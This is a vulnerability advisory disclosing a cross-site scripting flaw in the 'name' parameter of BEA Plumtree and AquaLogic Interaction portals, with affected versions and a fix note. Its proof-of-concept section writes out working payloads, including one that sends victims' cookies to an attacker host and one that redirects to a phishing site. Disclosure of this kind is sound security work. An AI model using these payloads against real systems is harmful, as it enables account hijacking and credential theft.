PR06-12: XSS on BEA Plumtree Foundation and AquaLogic Interaction portals Description: BEA Plumtree Foundation portal 6.0 and BEA AquaLogic Interaction 6.1 are vulnerable to a XSS vulnerability affecting the 'name' parameter which is submitted to the '/portal/server.pt' server-side script. Date found: 12th September 2006 Vendor contacted: 18th May 2007 Successfully tested on: BEA Plumtree Foundation 6.0.1.218452. BEA Systems have confirmed the following versions to be affected: BEA Plumtree Foundation 6.0 through service pack 1. BEA AquaLogic Interaction 6.1 through service pack 1. BEA Plumtree 5.0J.173033, 5.02, 5.03 and 5.4 are not affected by this issue. Severity: Medium-High Authors: Jan Fry and Adrian Pastor of ProCheckUp Ltd (www.procheckup.com) ProCheckUp thanks BEA Systems for their co-operation. Proof of concept: The following requests launch a JavaScript alert box on the user's web browser, simply to prove that is possible to run scripting code on the victim's web browser. Please note that '%22;}%3C/script%3E' is added at the beginning of every payload in order to make the overall HTML document syntactically correct, thus increasing the chance of the attack working on different web browser types: https://target-domain.foo/portal/server.pt?open=space&name= https://target-domain.foo/portal/server.pt?open=space&name=%22;}%3C/script%3E%3Cscript%3Ealert('CanCrossSiteScript')%3C/script%3E%3C!-- The following requests allow session hijacking through cookie theft: https://target-domain.foo/portal/server.pt?open=space&name= http://target-domain.foo/portal/server.pt?open=space&name=%22;}%3C/script%3E%3Cscript%3Ewindow.location="http://attackers-site.foo/grabber.php?c="%2bdocument.cookie%3C/script%3E%3C!-- The following requests allow password theft by redirecting to a third-party 'spoof' site which would perform a phishing attack on the victim: https://target-domain.foo/portal/server.pt?open=space&name= http://target-domain.foo/portal/server.pt?open=space&name=%22;}%3C/script%3E%3Cscript%3Ewindow.location="http://phishers-site.foo%3C/script%3E%3C!-- HTML injection through this XSS vulnerability is also possible. This allows advanced phishing attacks by inserting a HTML form within the context of the victim website. Consequences: Scripting code can be run within the security context of the target site. User accounts can be hijacked. Advanced phishing attacks can be launched. Note: This vulnerability could be considered a medium-high risk (rather than medium risk) in cases in which admin users are targeted, resulting in the attacker gaining administrative privileges on the target Plumtree/AquaLogic Portal. Fix: this issue will be addressed in the 6.5 release of AquaLogic Interaction.
